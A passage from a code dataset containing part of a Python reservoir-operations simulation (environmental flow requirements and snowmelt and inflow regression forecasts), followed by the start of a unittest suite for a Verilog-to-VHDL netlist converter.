downstream_flow < 0.0:\n self.consumed_releases = downstream_flow*-1.0\n self.gains_to_delta = 0.0\n else:\n self.consumed_releases = 0.0\n self.gains_to_delta = downstream_flow\n else:\n if downstream_flow < 0.0:\n self.consumed_releases -= downstream_flow\n else:\n self.gains_to_delta += downstream_flow\n\t \n def sj_riv_res_flows(self,t,d,toggle_short_series = 0):\n ##Interpolates rules from sj_restoration_proj in *_properties.json file (note: only for Lake Millerton)\n\t##to get the total daily releases needed to be made under the SJ River Restoration Program (note: rules go into effect\n\t##in 2009 - they are triggered by the model.update_regulations function\n for i,v in enumerate(self.sj_restoration_proj['dowy']):\n if v > d:\n break\n \n if toggle_short_series == 1:\n ix = self.short_rainflood_fnf[t] + self.short_snowflood_fnf[t]\n else:\n ix = self.rainflood_fnf[t] + self.snowflood_fnf[t]\n release_schedule = self.sj_restoration_proj['release'][i]\n return np.interp(ix, self.sj_restoration_proj['index'], release_schedule)*cfs_tafd\n\t\n def calc_EOS_storage(self,t,eos_day):\n ##calculate the target end-of-september storage at each reservoir which is used to determine how much excess storage is available for delta pumping releases\n if t == 0:\n startingStorage = self.S[eos_day]\n else:\n startingStorage = max(self.S[eos_day], self.EOS_target)\n self.saved_water = max(startingStorage - self.carryover_target[self.forecastWYT], 0.0)*self.carryover_excess_use\n self.EOS_target = min(self.saved_water + self.carryover_target[self.forecastWYT], self.max_carryover_target)\n\t\n def set_oct_nov_rule(self, t, m):\n if m == 10 or m == 11:\n self.variable_min_flow = self.Q[t]\n else:\n self.variable_min_flow = 0.0\n\t \n def find_emergency_supply(self, t, m, dowy):\n \n if t < 30:\n running_fnf = np.sum(self.fnf[0:t])*30.0/(t+1)\n else:\n running_fnf = np.sum(self.fnf[(t-30):(t-1)])\n\n if m < 10:\n flow_oct_nov = (self.flow_shape_regression['slope'][dowy][9] + self.flow_shape_regression['slope'][dowy][10])*running_fnf + self.flow_shape_regression['intercept'][dowy][9] + self.flow_shape_regression['intercept'][dowy][10]\n elif m == 10:\n flow_oct_nov = (self.flow_shape_regression['slope'][dowy][9]*running_fnf + self.flow_shape_regression['intercept'][dowy][9])*(31-dowy)/31 + self.flow_shape_regression['slope'][dowy][10]*running_fnf + self.flow_shape_regression['intercept'][dowy][10]\n elif m == 11:\n flow_oct_nov = (self.flow_shape_regression['slope'][dowy][10]*running_fnf + self.flow_shape_regression['intercept'][dowy][10])*(61-dowy)/30\n else:\n flow_oct_nov = 0.0\n\n emergency_available = self.S[t] - max(self.oct_nov_min_release[self.forecastWYT][dowy] - flow_oct_nov, 0.0) - self.dead_pool\n\t\n return emergency_available\n\t\n def calc_expected_min_release(self,delta_req,depletions,sjrr_toggle):\n ##this function calculates the total expected releases needed to meet environmental minimums used in the find_available_storage function\n ##calclulated as a pre-processing function (w/find_release_func)\n startYear = self.short_year[0]\n startFeb = (self.dowy_eom[self.non_leap_year][0] + 1)\n startAug = (self.dowy_eom[self.non_leap_year][6] + 1)\n for wyt in self.wytlist:\n self.cum_min_release[wyt][0] = 0.0\n self.aug_sept_min_release[wyt][0] = 0.0\t \n self.oct_nov_min_release[wyt][0] = 0.0 \t \n\n ##the cum_min_release is a 365x1 vector representing each day of the coming water year. In each day, the value is equal to \n\t##the total expected minimum releases remaining in the water year, so that the 0 index is the sum of all expected releases,\n\t##with the total value being reduce as the index values go up, until the value is zero at the last index spot\n downstream_release = {}\n for wyt in self.wytlist:\n downstream_release[wyt] = np.zeros(12)\n\n if self.has_downstream_target_flow:\n current_obs = np.zeros(12)\n for t in range(1,self.T_short):\n dowy = self.short_dowy[t - 1]\n m = self.short_month[t - 1]\n da = self.short_day_month[t - 1]\n y = self.short_year[t - 1] - self.short_starting_year\n wateryear = self.short_water_year[t - 1]\n wyt = self.hist_wyt[wateryear]\n if m == 9 and da == 30:\n for month_count in range(0,9):\n if current_obs[month_count]/self.short_days_in_month[y][month_count] > downstream_release[wyt][month_count]:\n downstream_release[wyt][month_count] = current_obs[month_count]/self.short_days_in_month[y][month_count]\n for month_count in range(9,12):\n if current_obs[month_count]/self.short_days_in_month[y-1][month_count] > downstream_release[wyt][month_count]:\n downstream_release[wyt][month_count] = current_obs[month_count]/self.short_days_in_month[y-1][month_count]\n current_obs = np.zeros(12)\n if sjrr_toggle == 1:\n sjrr_flow = self.sj_riv_res_flows(t, dowy, 1)\n downstream_req = max(self.temp_releases[wyt][m-1]*cfs_tafd, sjrr_flow)\n else:\n sjrr_flow = 0.0\n downstream_req = self.temp_releases[wyt][m-1]*cfs_tafd\n\t\t\n current_obs[m-1] += max(downstream_req - self.downstream_short[t-1],0.0)\n for x in range(0,12):\n for wyt in self.wytlist:\n downstream_release[wyt][x] = max((delta_req[wyt][x]*cfs_tafd-depletions[x])*self.delta_outflow_pct + max(downstream_release[wyt][x] - self.temp_releases[wyt][x],0.0), downstream_release[wyt][x])\n\t\t \n if self.nodd_meets_envmin:\n\t ###First, the total environmental minimum flows are summed over the whole year at day 0\n for x in range(1,365):\n for wyt in self.wytlist:\n m = self.month[x - 1]\n reservoir_target_release = self.env_min_flow[wyt][m-1]*cfs_tafd\n downstream_needs = downstream_release[wyt][m-1]\n if x < startAug:\n self.cum_min_release[wyt][0] += max(reservoir_target_release,downstream_needs)\n else:\n self.aug_sept_min_release[wyt][0] += max(reservoir_target_release,downstream_needs)\t \n if x < startFeb:\n self.oct_nov_min_release[wyt][0] += max(reservoir_target_release,downstream_needs)\t \n\t ##THen, we loop through all 365 index spots, removing one day of releases at a time until index 365 = 0.0\n for x in range(1,365):\n for wyt in self.wytlist:\n m = self.month[x - 1]\n reservoir_target_release = self.env_min_flow[wyt][m-1]*cfs_tafd\n downstream_needs = downstream_release[wyt][m-1]\n if x < startAug:\n self.cum_min_release[wyt][x] = self.cum_min_release[wyt][x-1] - max(reservoir_target_release,downstream_needs)\n self.aug_sept_min_release[wyt][x] = self.aug_sept_min_release[wyt][0]\n else:\n self.aug_sept_min_release[wyt][x] = self.aug_sept_min_release[wyt][x-1] - max(reservoir_target_release,downstream_needs)\n if x < startFeb:\n self.oct_nov_min_release[wyt][x] = self.oct_nov_min_release[wyt][x-1] - max(reservoir_target_release,downstream_needs)\n else:\n self.oct_nov_min_release[wyt][x] = self.oct_nov_min_release[wyt][0]\n\n else:\n\t##Same as above, but north of delta demands are included w/ release requirements\n for x in range(1,365):\n for wyt in self.wytlist:\n m = self.month[x - 1]\n reservoir_target_release = self.env_min_flow[wyt][m-1]*cfs_tafd\n downstream_needs = downstream_release[wyt][m-1] + np.interp(x,self.first_d_of_month[self.non_leap_year], self.nodd)\n if x < startAug:\n self.cum_min_release[wyt][0] += max(reservoir_target_release,downstream_needs)\n else:\n self.aug_sept_min_release[wyt][0] += max(reservoir_target_release,downstream_needs)\t \n if x < startFeb:\n self.oct_nov_min_release[wyt][0] += max(reservoir_target_release,downstream_needs)\t \n\t\t\t\n for x in range(1,365):\n for wyt in self.wytlist:\n m = self.month[x - 1]\n reservoir_target_release = self.env_min_flow[wyt][m-1]*cfs_tafd\n downstream_needs = downstream_release[wyt][m-1] + np.interp(x,self.first_d_of_month[self.non_leap_year], self.nodd)\n if x < startAug:\n self.cum_min_release[wyt][x] = self.cum_min_release[wyt][x-1] - max(reservoir_target_release,downstream_needs)\n self.aug_sept_min_release[wyt][x] = self.aug_sept_min_release[wyt][0]\n else:\n self.aug_sept_min_release[wyt][x] = self.aug_sept_min_release[wyt][x-1] - max(reservoir_target_release,downstream_needs)\n if x < startFeb:\n self.oct_nov_min_release[wyt][x] = self.oct_nov_min_release[wyt][x-1] - max(reservoir_target_release,downstream_needs)\n else:\n self.oct_nov_min_release[wyt][x] = self.oct_nov_min_release[wyt][0]\n\t\n def create_flow_shapes(self, df_short):\n flow_series = df_short['%s_inf'% self.key].values * cfs_tafd\n snow_series = df_short['%s_snow'% self.key].values\n fnf_series = df_short['%s_fnf'% self.key].values / 1000000.0\n startYear = self.short_starting_year\n endYear = self.short_ending_year\n numYears = endYear - startYear\n self.flow_shape_regression = {}\n self.flow_shape_regression['slope'] = np.zeros((365,12))\n self.flow_shape_regression['intercept'] = np.zeros((365,12))\n monthly_flow = np.zeros((12, (endYear - startYear)))\n running_fnf = np.zeros((365,(endYear - startYear)))\n max_snow = np.zeros((365,(endYear - startYear)))\n prev_fnf = 0.0\n for t in range(1,(self.T_short)):\n m = self.short_month[t-1]\n dowy = self.short_dowy[t-1]\n wateryear = self.short_water_year[t-1]\n monthly_flow[m-1][wateryear] += flow_series[t-1]\n prev_fnf += fnf_series[t-1]\n max_snow[dowy][wateryear] = snow_series[t-1]\n if t > 30:\n prev_fnf -= fnf_series[t-31]\n if t < 30:\n running_fnf[dowy][wateryear] = prev_fnf*30.0/t\n else:\n if self.key == \"MIL\" and dowy < 180:\n running_fnf[dowy][wateryear] = min(prev_fnf, 0.25)\n else:\n running_fnf[dowy][wateryear] = prev_fnf\n\n\t\t\n for x in range(0,365): \n if self.key == \"XXX\":\n fig = plt.figure()\n #regress for gains in oct-mar period and april-jul period. Use non-leap year.\n coef_save = np.zeros((12,2))\n for mm in range(0,12):\n if x <= self.dowy_eom[self.non_leap_year][mm]:\n if mm > 2 and mm < 7:\n #if x > 181 and x < 304:\n #one_year_runfnf = running_fnf[x]\n #else:\n one_year_runfnf = max_snow[x]\n else:\n one_year_runfnf = running_fnf[x]\n\t\t\t\n monthly_flow_predict = monthly_flow[mm]\n else:\n monthly_flow_predict = np.zeros(numYears-1)\n one_year_runfnf = np.zeros(numYears-1)\n for yy in range(1,numYears):\n monthly_flow_predict[yy-1] = monthly_flow[mm][yy]\n if mm > 2 and mm < 7:\n #if x > 181 and x < 304:\n #one_year_runfnf[yy-1] = running_fnf[x][yy-1]\n #else:\n one_year_runfnf[yy-1] = max_snow[x][yy-1]\n else:\n one_year_runfnf[yy-1] = running_fnf[x][yy-1]\n\n if np.sum(one_year_runfnf) > 0.0:\n coef = np.polyfit(one_year_runfnf, monthly_flow_predict, 1)\n else:\n coef[0] = 0.0\n coef[1] = np.mean(monthly_flow_predict)\n self.flow_shape_regression['slope'][x][mm] = coef[0]\n self.flow_shape_regression['intercept'][x][mm] = coef[1]\n if self.key == \"XXX\":\n coef_save[mm][0] = coef[0]\n coef_save[mm][1] = coef[1]\n r = np.corrcoef(one_year_runfnf,monthly_flow_predict)[0,1]\n #print(x, end = \" \")\n #print(mm, end = \" \")\n #print(r, end = \" \")\n print(self.key)\n print(one_year_runfnf)\n if self.key == \"XXX\":\n for mm in range(0,12):\n ax1 = fig.add_subplot(4,3,mm+1)\n if x <= self.dowy_eom[self.non_leap_year][mm]:\n monthly_flow_predict = monthly_flow[mm]\n if mm > 2 and mm < 7:\n #if x > 181 and x < 304:\n #one_year_runfnf = running_fnf[x]\n #else:\n one_year_runfnf = max_snow[x]\n else:\n one_year_runfnf = running_fnf[x]\n else:\n monthly_flow_predict = np.zeros(numYears-1)\n one_year_runfnf = np.zeros(numYears-1)\n for yy in range(1,numYears):\n monthly_flow_predict[yy-1] = monthly_flow[mm][yy]\n if mm > 2 and mm < 7:\n #if x > 181 and x < 304:\n #one_year_runfnf[yy-1] = running_fnf[x][yy-1]\n #else:\n one_year_runfnf[yy-1] = max_snow[x][yy-1]\n else:\n one_year_runfnf[yy-1] = running_fnf[x][yy-1]\n\n ax1.scatter(one_year_runfnf, monthly_flow_predict, s=50, c='red', edgecolor='none', alpha=0.7)\n ax1.plot([0.0, np.max(one_year_runfnf)], [coef_save[mm][1], (np.max(one_year_runfnf)*coef_save[mm][0] + coef_save[mm][1])],c='red')\n ax1.set_xlim([np.min(one_year_runfnf), np.max(one_year_runfnf)])\n plt.show()\n plt.close()\n\n\t\t\t\n def find_release_func(self, df_short):\n ##this function is used to make forecasts when calculating available storage for export releases from reservoir\n ##using data from 1996 to 2016 (b/c data is available for all inputs needed), calculate total flows in oct-mar period and apr-jul period\n ##based on linear regression w/snowpack (apr-jul) and w/inflow (oct-mar)\n ##this function is called before simulation loop, and the linear regression coefficient & standard deviation of linear regresion residuals\n ##is used in the find_available_storage function\n startYear = self.short_starting_year\n endYear = self.short_ending_year\n numYears = endYear - startYear\n Q_predict = df_short['%s_inf'% self.key].values * cfs_tafd\n fnf_predict = df_short['%s_fnf'% self.key].values / 1000000.0\n SNPK_predict = df_short['%s_snow' % self.key].values\n\n rainfnf = np.zeros(numYears)###total full-natural flow OCT-MAR\n snowfnf = np.zeros(numYears)###total full-natural flow APR-JUL\n fnf_regression = np.zeros((365,4))##constants for linear regression: 2 for oct-mar, 2 for apr-jul\n rainfnf_cumulative = np.zeros((365,numYears))###cumulative daily full-natural flow, rainfall runoff\n snowfnf_cumulative = np.zeros((365,numYears))###cumulative daily full-natural flow, snowmelt runoff\n\n raininf = np.zeros(numYears)##total reservoir inflow, OCT-Start of snowmelt season\n snowinf = np.zeros(numYears)##total reservoir inflow, Start of snowmelt season - July\n baseinf = np.zeros(numYears)##total reservoir inflow, Aug-Sept\n inf_regression = np.zeros((365,6))##constants for linear regression: 2 for oct-mar, 2 for apr-jul, 2 for Aug-Sept\n raininf_cumulative = np.zeros((365,numYears))##cumulative daily reservoir inflow, rainfall runoff\n snowinf_cumulative = np.zeros((365,numYears))##cumulative daily reservoir inflow, snowmelt runoff\n baseinf_cumulative = np.zeros((365,numYears))##cumulative daily reservoir inflow, baseline runoff\n\n \n snowPattern = np.zeros((365,numYears))###daily cumulative snowpack\n\t\n section = 0;##1 is oct-mar, 2 is apr-jul, 3 is aug-sept\n current_year = 0;\n complete_year = 0;##complete year counts all the years that have complete oct-jul data (partial years not used for lin. regression)\n for t in range(1,self.T_short):\n ##Get date information\n dowy = self.short_dowy[t - 1]\n m = self.short_month[t - 1]\n da = self.short_day_month[t - 1]\n \n\t #Use date information to determine if its the rainflood season\n if m == 10:\n section_fnf = 1\n section_inf = 1\n elif m == 4:\n section_fnf = 2##SRI & SJI are both divided into Oct-Mar and April-July\n elif m == 8 and da == 1:\n section_fnf = 3\n section_inf = 3\n complete_year += 1##if data exists through end of jul, counts as a 'complete year' for linear regression purposes\n\n if m == self.melt_start:\n section_inf = 2###for reservoir inflows, section 2 is given a variable start month, runs through end of September\n\t\t\n\t #find the cumulative full natural flows through each day of the rainflood season - each day has a unique 21 value (year) vector which is the independent variable in the regression to predict total rainflood season flows\n if m == 10 and da == 1:\n current_year +=1\n rainfnf_cumulative[dowy][current_year-1] = fnf_predict[t-1]\n snowfnf_cumulative[dowy][current_year-1] = 0\n elif section_fnf == 1:\n rainfnf_cumulative[dowy][current_year-1] = rainfnf_cumulative[dowy-1][current_year-1] + fnf_predict[t-1]\n snowfnf_cumulative[dowy][current_year-1] = 0\n elif section_fnf == 2:\n rainfnf_cumulative[dowy][current_year-1] = rainfnf_cumulative[dowy-1][current_year-1] ##no rainflood predictions after the rainflood season ends\n snowfnf_cumulative[dowy][current_year-1] = snowfnf_cumulative[dowy-1][current_year-1] + fnf_predict[t-1]\n elif section_fnf == 3:\n rainfnf_cumulative[dowy][current_year-1] = rainfnf_cumulative[dowy-1][current_year-1]\n snowfnf_cumulative[dowy][current_year-1] = snowfnf_cumulative[dowy-1][current_year-1]\n\n\t #find the cumulative reservoir inflows through each day of the rainflood season - each day has a unique 21 value (year) vector which is the independent variable in the regression to predict total rainflood season flows\n if m == 10 and da == 1:\n raininf_cumulative[dowy][current_year-1] = Q_predict[t-1]\n snowinf_cumulative[dowy][current_year-1] = 0.0\n baseinf_cumulative[dowy][current_year-1] = 0.0\n elif section_inf == 1:\n raininf_cumulative[dowy][current_year-1] = raininf_cumulative[dowy-1][current_year-1] + Q_predict[t-1]\n snowinf_cumulative[dowy][current_year-1] = 0.0\n baseinf_cumulative[dowy][current_year-1] = 0.0\n elif section_inf == 2:\n raininf_cumulative[dowy][current_year-1] = raininf_cumulative[dowy-1][current_year-1] ##no rainflood predictions after the rainflood season ends\n snowinf_cumulative[dowy][current_year-1] = snowinf_cumulative[dowy-1][current_year-1] + Q_predict[t-1]\n baseinf_cumulative[dowy][current_year-1] = 0.0\n elif section_inf == 3:\n raininf_cumulative[dowy][current_year-1] = raininf_cumulative[dowy-1][current_year-1]\n snowinf_cumulative[dowy][current_year-1] = snowinf_cumulative[dowy-1][current_year-1]\n baseinf_cumulative[dowy][current_year-1] = baseinf_cumulative[dowy-1][current_year-1] + Q_predict[t-1]\n\t\t\n\t ##find cumulative snowpack through each day of the year - each day has a unique 21 value (year) vector giving us 365 sepearte lin regressions)\t \n snowPattern[dowy][current_year-1] = SNPK_predict[t-1]\n \n\t #find the total full natural flows during the rainflood and snowflood seasons\n if section_fnf == 1:\n rainfnf[current_year-1] += fnf_predict[t-1] ##total oct-mar inflow (one value per year - Y vector in lin regression)\n elif section_fnf == 2:\n snowfnf[current_year-1] += fnf_predict[t-1] ##total apr-jul inflow (one value per year - Y vector in lin regression)\n\n\t #find the total reservoir inflow during the rainflood and snowmelt seasons\n if section_inf == 1:\n raininf[current_year-1] += Q_predict[t-1] ##total oct-mar inflow (one value per year - Y vector in lin regression)\n elif section_inf == 2:\n snowinf[current_year-1] += Q_predict[t-1] ##total apr-jul inflow (one value per year - Y vector in lin regression)\n elif section_inf == 3:\n baseinf[current_year-1] += Q_predict[t-1]\n # print(self.key)\n\n for x in range(1,365):\n \n\t ########Full natural flow regressions\n\t ########################################################################################################################\n\t ###rainflood season regression - full natural flow (regress cumulative full natural flow through each day with total full natural flow, Oct-Mar)\n one_year_flow = rainfnf_cumulative[x-1]##this days set of cumulative flow values (X vector)\n if sum(one_year_flow) == 0.0:\n coef[0] = 0.0\n coef[1] = np.mean(rainfnf)\n else:\n coef = np.polyfit(one_year_flow[0:(complete_year-1)],rainfnf[0:(complete_year-1)],1)###regression of cumulative flow through a day of the rain-flood season with total flow in that rain-flood season\n fnf_regression[x-1][0] = coef[0]\n fnf_regression[x-1][1] = coef[1]\n pred_dev = np.zeros(complete_year)\n for y in range(1,complete_year):\n pred_dev[y-1] = rainfnf[y-1] - coef[0]*one_year_flow[y-1] - coef[1]##how much was the linear regression off actual observations\n \n self.rainfnf_stds[x-1] = np.std(pred_dev)##standard deviations of linear regression residuals \n\t\t##use z-score to make estimate at different confidence levels, ie 90% exceedence is linear regression plus standard deviation * -1.28, z table in util.py\n \n\t ###snowflood season regression - full natural flow (regress cumulative snowpack & full natural flow through each day with total full natural flow, April-Jul)\n one_year_snow = snowPattern[x-1]##this days set of cumulative snowpack values (X vector)\n if sum(one_year_snow) == 0.0:\n coef[0] = 0.0\n coef[1] = np.mean(snowfnf)\n else:\n coef = np.polyfit(one_year_snow[0:(complete_year-1)],snowfnf[0:(complete_year-1)],1)\n fnf_regression[x-1][2] = coef[0]\n fnf_regression[x-1][3] = coef[1]\n pred_dev = np.zeros(complete_year)\n for y in range(1,complete_year):\n pred_dev[y-1] = snowfnf[y-1] - coef[0]*one_year_snow[y-1] - coef[1]##how much was the linear regression off actual observations\n\n self.snowfnf_stds[x-1] = np.std(pred_dev)##standard deviations of linear regression residuals\n ##for conservative estimate, ie 90% exceedence is linear regression plus standard deviation * -1.28, z table in util.py\n\t #########################################################################################################################\n\t \n\t \n\t ################Reservoir Inflow regressions\n\t #########################################################################################################################\n\t ###rainflood season regression - reservoir inflow (regress cumulative reservoir inflow through each day with total full natural flow, Oct-Start of Snowmelt Season at that reservroi)\n one_year_flow = raininf_cumulative[x-1]##this days set of cumulative flow values (X vector)\n remaining_flow = np.zeros(numYears)\n for xx in range(0, numYears):\n remaining_flow[xx] = raininf[xx] - one_year_flow[xx]\n if sum(one_year_flow) == 0.0:\n coef[0] = 0.0\n coef[1] = np.mean(raininf)\n else:\n coef = np.polyfit(one_year_flow[0:(complete_year-1)],remaining_flow[0:(complete_year-1)],1)###regression of cumulative flow through a day of the rain-flood season with total flow in that rain-flood season\n inf_regression[x-1][0] = coef[0]\n inf_regression[x-1][1] = coef[1]\n pred_dev = np.zeros(complete_year)\n\n for y in range(1,complete_year):\n pred_dev[y-1] = remaining_flow[y-1] - coef[0]*one_year_flow[y-1] - coef[1]##how much was the linear regression off actual observations\n self.raininf_stds[x-1] = np.std(pred_dev)##standard deviations of linear regression residuals\n self.raininf_stds[x-1] = 0.0\n\t\t##use z-score to make estimate at different confidence levels, ie 90% exceedence is linear regression plus standard deviation * -1.28, z table in util.py\n\t ###snowflood season regression - reservoir inflow (regress cumulative snowpack & reservoir inflow through each day with total reservoir inflow, Snowmelta season at the reservoir)\n one_year_snow = snowPattern[x-1]##this days set of cumulative snowpack values (X vector)\n remaining_snow = np.zeros(numYears)\n for xx in range(0, numYears):\n remaining_snow[xx] = snowinf[xx] - snowinf_cumulative[x-1][xx]\n \n if sum(one_year_snow) == 0.0:\n coef[0] = 0.0\n coef[1] = np.mean(snowinf)\n else:\n coef = np.polyfit(one_year_snow[0:(complete_year-1)],remaining_snow[0:(complete_year-1)],1)\n inf_regression[x-1][2] = coef[0]\n inf_regression[x-1][3] = coef[1]\n\n pred_dev = np.zeros(complete_year)\n for y in range(1,complete_year):\n pred_dev[y-1] = remaining_snow[y-1] - coef[0]*one_year_snow[y-1] - coef[1]##how much was the linear regression off actual observations\n\n self.snowinf_stds[x-1] = np.std(pred_dev)##standard deviations of linear regression residuals\n ##for conservative estimate, ie 90% exceedence is linear regression plus standard deviation * -1.28, z table in util.py\n\t ###baseline season regression - reservoir inflow (regress cumulative snowpack & reservoir inflow through each day with total reservoir inflow, Aug-Sept at the reservoir)\n one_year_snow = snowPattern[x-1]##this days set of cumulative snowpack values (X vector)\n remaining_base = np.zeros(numYears)\n for xx in range(0, numYears):\n remaining_base[xx] = baseinf[xx] - baseinf_cumulative[x-1][xx]\n \n if sum(one_year_snow) == 0.0:\n coef[0] = 0.0\n coef[1] = np.mean(baseinf)\n else:\n coef = np.polyfit(one_year_snow[0:(complete_year-1)],remaining_base[0:(complete_year-1)],1)\n inf_regression[x-1][4] = coef[0]\n inf_regression[x-1][5] = coef[1]\n\t \n pred_dev = np.zeros(complete_year)\n for y in range(1,complete_year):\n pred_dev[y-1] = remaining_base[y-1] - coef[0]*one_year_snow[y-1] - coef[1]##how much was the linear regression off actual observations\n\n self.baseinf_stds[x-1] = np.std(pred_dev)##standard deviations of linear regression residuals\n\t \n\n\t ############################################################################################################################################################\n for t in range(1,self.T):\n m = self.month[t - 1]\n da = self.day_month[t - 1]\n dowy = self.dowy[t - 1]\n\t \n running_rain_fnf = np.sum(self.fnf[(t-dowy):(min(t, t-dowy+180))])\n running_rain_inf = np.sum(self.Q[(t-dowy):(min(t, t-dowy+180))])\n self.rainflood_fnf[t-1] = fnf_regression[dowy-1][0]*running_rain_fnf + fnf_regression[dowy-1][1]\n self.snowflood_fnf[t-1] = fnf_regression[dowy-1][2]*self.SNPK[t-1] + fnf_regression[dowy-1][3]\n\n self.rainflood_inf[t-1] = inf_regression[dowy-1][0]*running_rain_inf + inf_regression[dowy-1][1]\n self.snowflood_inf[t-1] = inf_regression[dowy-1][2]*self.SNPK[t-1] + inf_regression[dowy-1][3]\n self.baseline_inf[t-1] = inf_regression[dowy-1][4]*self.SNPK[t-1] + inf_regression[dowy-1][5]\n\t \n current_year = 0\n for t in range(1, self.T_short):\n dowy = self.short_dowy[t - 1]\n m = self.short_month[t - 1]\n da = self.short_day_month[t - 1]\n if m == 10 and da == 1:\n current_year += 1\n self.short_rainflood_fnf[t-1] = fnf_regression[dowy-1][0]*raininf_cumulative[dowy][current_year-1] + fnf_regression[dowy-1][1]\n self.short_snowflood_fnf[t-1] = fnf_regression[dowy-1][2]*SNPK_predict[t-1] + fnf_regression[dowy-1][3]\n\n\t \n\t \n def accounting_as_df(self, index):\n df = pd.DataFrame()\n names = ['storage', 'tocs', 'available_storage', 'flood_storage', 'out']\n things = [self.S, self.tocs, self.available_storage, self.flood_storage, self.R]\n for n,t in zip(names,things):\n df['%s_%s' % (self.key,n)] = pd.Series(t, index=index)\n return df\n","repo_name":"romulus97/CAPOW_PY36","sub_path":"Stochastic_engine/cord/reservoir.py","file_name":"reservoir.py","file_ext":"py","file_size_in_byte":61654,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"32"} +{"seq_id":"74084094170","text":"import os\r\nimport sys\r\nimport uuid\r\nfrom HardwareTasks import *\r\n\r\nimport unittest\r\n\r\ndef loadTextFiles(path1, path2):\r\n\r\n with open(path1, 'r') as firstFile:\r\n first = firstFile.read()\r\n\r\n with open(path2, 'r') as secondFile:\r\n second = secondFile.read()\r\n\r\n return first, second\r\n\r\nclass Lab08TestSuite(unittest.TestCase) :\r\n\r\n def test_checkPythonVersion(self):\r\n\r\n currentVersion = sys.version_info\r\n\r\n self.assertGreaterEqual(currentVersion, (3, 4))\r\n\r\n def test_isValidName(self):\r\n\r\n with self.subTest(key=\"U1\"):\r\n self.assertTrue(idIsAcceptable(\"U1\"))\r\n\r\n with self.subTest(key=\"_U2_\"):\r\n self.assertTrue(idIsAcceptable(\"_U2_\"))\r\n\r\n with self.subTest(key=\"1Superior2\"):\r\n self.assertTrue(idIsAcceptable(\"1Superior2\"))\r\n\r\n with self.subTest(key=\"%U3\"):\r\n self.assertFalse(idIsAcceptable(\"%U3\"))\r\n\r\n with self.subTest(key=\"*99_\"):\r\n self.assertFalse(idIsAcceptable(\"*99_\"))\r\n\r\n with self.subTest(key=\"What?\"):\r\n self.assertFalse(idIsAcceptable(\"What?\"))\r\n\r\n def test_parsePinAssignment(self):\r\n\r\n with self.subTest(key=\".D(Q)\"):\r\n assignment = \".D(Q)\"\r\n expectedValue = \"D\", \"Q\"\r\n actualValue = processSingle(assignment)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\".foo(_88_)\"):\r\n assignment = \".foo(_88_)\"\r\n expectedValue = \"foo\", \"_88_\"\r\n actualValue = processSingle(assignment)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\".B2(n32)\"):\r\n assignment = \".B2(n32)\"\r\n expectedValue = \"B2\", \"n32\"\r\n actualValue = processSingle(assignment)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"AA(Here)\"):\r\n assignment = \"AA(Here)\"\r\n\r\n self.assertRaises(ValueError, processSingle, assignment)\r\n\r\n with self.subTest(key=\".$99(bin12)\"):\r\n assignment = \".$99(bin12)\"\r\n\r\n self.assertRaises(ValueError, processSingle, assignment)\r\n\r\n with self.subTest(key=\".Linux(what?)\"):\r\n assignment = \".Linux(what?)\"\r\n\r\n self.assertRaises(ValueError, processSingle, assignment)\r\n\r\n with self.subTest(key=\".ZZ3(p21\"):\r\n assignment = \".ZZ3(p21\"\r\n\r\n self.assertRaises(ValueError, processSingle, assignment)\r\n\r\n with self.subTest(key=\".StarWars((VII))\"):\r\n assignment = \".StarWars((VII))\"\r\n\r\n self.assertRaises(ValueError, processSingle, assignment)\r\n\r\n def test_parseNetLine(self):\r\n\r\n with self.subTest(key=\"Valid 1\"):\r\n line = \"DFFSR Q_int1_reg ( .D(serial_in), .CLK(clk), .R(1), .S(n5), .Q(Q_int1) )\"\r\n\r\n assignmentList = (\"D\", \"serial_in\"), (\"CLK\", \"clk\"), (\"R\", \"1\"), (\"S\", \"n5\"), (\"Q\", \"Q_int1\")\r\n expectedValue = \"DFFSR\", \"Q_int1_reg\", assignmentList\r\n actualValue = processLine(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Valid 2\"):\r\n line = \" OAI22X1 U11 (.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25))\"\r\n\r\n assignmentList = (\"A\", \"n32\"), (\"B\", \"n5\"), (\"C\", \"n3\"), (\"D\", \"n6\"), (\"Y\", \"n25\")\r\n expectedValue = \"OAI22X1\", \"U11\", assignmentList\r\n actualValue = processLine(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Missing Instance\"):\r\n line = \"BAD(.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25))\"\r\n\r\n self.assertRaises(ValueError, processLine, line)\r\n\r\n with self.subTest(key=\"Missing Component\"):\r\n line = \".A(n32),.B(n5),.C(n3),.D(n6),.Y(n25)\"\r\n\r\n self.assertRaises(ValueError, processLine, line)\r\n\r\n with self.subTest(key=\"Extra Parentheses\"):\r\n line = \"First U22 ((.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25)))\"\r\n\r\n self.assertRaises(ValueError, processLine, line)\r\n\r\n with self.subTest(key=\"Invalid Names\"):\r\n line = \"First $U22 ((.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25)))\"\r\n\r\n self.assertRaises(ValueError, processLine, line)\r\n\r\n with self.subTest(key=\"Extra Closing Parenthesis\"):\r\n line = \"First U22 (.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25)))\"\r\n\r\n self.assertRaises(ValueError, processLine, line)\r\n\r\n with self.subTest(key=\"Bad Assignment\"):\r\n line = \"First U22 (.A(n32),.B(n?),.C(n3),.D(n6),.Y(n25))\"\r\n\r\n self.assertRaises(ValueError, processLine, line)\r\n\r\n def test_convertLine(self):\r\n\r\n from netConverter import verilog2vhdl\r\n\r\n with self.subTest(key=\"Valid 1\"):\r\n line = \"DFFSR Q_int1_reg ( .D(serial_in), .CLK(clk), .R(1), .S(n5), .Q(Q_int1) )\"\r\n\r\n expectedValue = \"Q_int1_reg: DFFSR PORT MAP(D=>serial_in, CLK=>clk, R=>1, S=>n5, Q=>Q_int1);\"\r\n actualValue = verilog2vhdl(line)\r\n\r\n self.assertEqual(expectedValue, actualValue)\r\n\r\n with self.subTest(key=\"Valid 2\"):\r\n line = \" OAI22X1 U11 (.A(n32),.B(n5),.C(n3),.D(n6),.Y(n25))\"\r\n\r\n expectedValue 